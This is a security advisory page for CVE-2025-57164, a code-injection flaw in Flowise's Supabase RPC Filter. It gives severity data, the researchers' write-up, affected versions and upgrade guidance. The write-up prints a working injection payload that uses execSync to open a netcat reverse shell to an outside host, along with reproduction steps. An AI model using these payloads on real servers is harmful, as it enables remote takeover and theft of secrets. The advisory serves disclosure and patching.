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MEDIUM severity

CVE-2025-57164 — flowise

MEDIUM

CVE-2025-57164 is a medium-severity (CVSS 6.5) CWE-77 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.

FlowiseAI Pre-Auth Arbitrary Code Execution

Also known asGHSA-7944-7c6r-55vv
Published
Oct 17, 2025
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-57164.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2025-57164 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
flowisenpm
2Kdownloads / week

Description

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

<img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" />

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />

image-1 image-2

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

<img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" />

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

  1. Deploy a FlowiseAI instance with the Supabase vector store enabled.

  2. Login as an admin user.

  3. Drag in a Supabase node and configure "Supabase RPC Filter".

  4. Insert a malicious payload in the filter expression, such as:

    process.mainModule.require("child_process").execSync("id")

  5. Trigger the chatbot or workflow to activate the node.

  6. Observe execution of arbitrary code on the backend.

Impact

  • Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
  • Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
  • Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
  • Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
  • LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmflowise≥ 3.0.5&&< 3.0.63.0.6npm install flowise@3.0.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update flowise to 3.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-57164 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-57164 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-57164. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary An authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution. This results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic. ## Details FlowiseAI includes a component called `Supabase.ts`, locate
O3 Security · Impact-Aware SCA

Is CVE-2025-57164 in your dependencies?

O3 Security finds CVE-2025-57164 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-57164: flowise RCE (Medium 6.5) | O3 Security